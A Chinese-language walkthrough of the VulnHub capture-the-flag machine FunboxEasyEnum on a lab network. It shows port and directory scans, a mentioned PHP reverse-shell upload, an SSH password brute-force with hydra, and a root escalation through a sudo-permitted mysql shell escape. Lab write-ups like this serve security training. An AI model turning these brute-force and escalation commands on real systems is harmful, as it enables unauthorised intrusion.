FunboxEasyEnum
最后更新于
最后更新于
https://download.vulnhub.com/funbox/Funbox7.ova
靶场IP：192.168.2.8
扫描对外端口服务
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.8
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 07:31 EDT
Nmap scan report for 192.168.2.8
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 08:00:27:8F:87:22 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds
浏览器访问80端口
爆破web目录
┌──(root㉿kali)-[~/Desktop]
└─# gobuster dir -u http://192.168.2.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.8/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2022/09/05 07:39:37 Starting gobuster in directory enumeration mode
===============================================================
/javascript (Status: 301) [Size: 315] [--> http://192.168.2.8/javascript/]
/mini.php (Status: 200) [Size: 4443]
/robots.txt (Status: 200) [Size: 21]
/secret (Status: 301) [Size: 311] [--> http://192.168.2.8/secret/]
/phpmyadmin (Status: 301) [Size: 315] [--> http://192.168.2.8/phpmyadmin/]
/server-status (Status: 403) [Size: 276]
===============================================================
2022/09/05 07:42:49 Finished
===============================================================
上传php反弹shell
建立反弹shell成功。
对用户进行暴力破解
┌──(root㉿kali)-[/tmp]
└─# hydra -l goat -P /usr/share/wordlists/rockyou.txt 192.168.2.8 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-05 07:50:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.2.8:22/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 14344245 to do in 1532:31h, 14 active
[STATUS] 118.00 tries/min, 354 tries in 00:03h, 14344047 to do in 2025:60h, 14 active
[STATUS] 102.29 tries/min, 716 tries in 00:07h, 14343685 to do in 2337:12h, 14 active
[22][ssh] host: 192.168.2.8 login: goat password: thebest
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-05 07:59:07
查看sudo列表
goat@funbox7:~$ sudo -l
Matching Defaults entries for goat on funbox7:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User goat may run the following commands on funbox7:
(root) NOPASSWD: /usr/bin/mysql
提权
goat@funbox7:~$ sudo -u root /usr/bin/mysql -e '\! /bin/bash'
root@funbox7:~# id
uid=0(root) gid=0(root) groups=0(root)
root@funbox7:~# ls /root
html.tar.gz root.flag script.sh
root@funbox7:~# cat /root/root.flag
█████▒ █ ██ ███▄ █ ▄▄▄▄ ▒█████ ▒██ ██▒
▓██ ▒ ██ ▓██▒ ██ ▀█ █ ▓█████▄ ▒██▒ ██▒▒▒ █ █ ▒░
▒████ ░ ▓██ ▒██░▓██ ▀█ ██▒▒██▒ ▄██▒██░ ██▒░░ █ ░
░▓█▒ ░ ▓▓█ ░██░▓██▒ ▐▌██▒▒██░█▀ ▒██ ██░ ░ █ █ ▒
░▒█░ ▒▒█████▓ ▒██░ ▓██░░▓█ ▀█▓░ ████▓▒░▒██▒ ▒██▒
▒ ░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░ ▒░▒░▒░ ▒▒ ░ ░▓ ░
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░
▓█████ ▄▄▄ ██████ ▓██ ██▓▓█████ ███▄ █ █ ██ ███▄ ▄███▓
▓█ ▀ ▒████▄ ▒██ ▒ ▒██ ██▒▓█ ▀ ██ ▀█ █ ██ ▓██▒▓██▒▀█▀ ██▒
▒███ ▒██ ▀█▄ ░ ▓██▄ ▒██ ██░▒███ ▓██ ▀█ ██▒▓██ ▒██░▓██ ▓██░
▒▓█ ▄ ░██▄▄▄▄██ ▒ ██▒ ░ ▐██▓░▒▓█ ▄ ▓██▒ ▐▌██▒▓▓█ ░██░▒██ ▒██
░▒████▒ ▓█ ▓██▒▒██████▒▒ ░ ██▒▓░░▒████▒▒██░ ▓██░▒▒█████▓ ▒██▒ ░██▒
░░ ▒░ ░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ██▒▒▒ ░░ ▒░ ░░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ░ ▒░ ░ ░
░ ░ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ▓██ ░▒░ ░ ░ ░░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░ ░
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...solved !
Please, tweet this screenshot to @0815R2d2. Many thanks in advance.
root@funbox7:~#
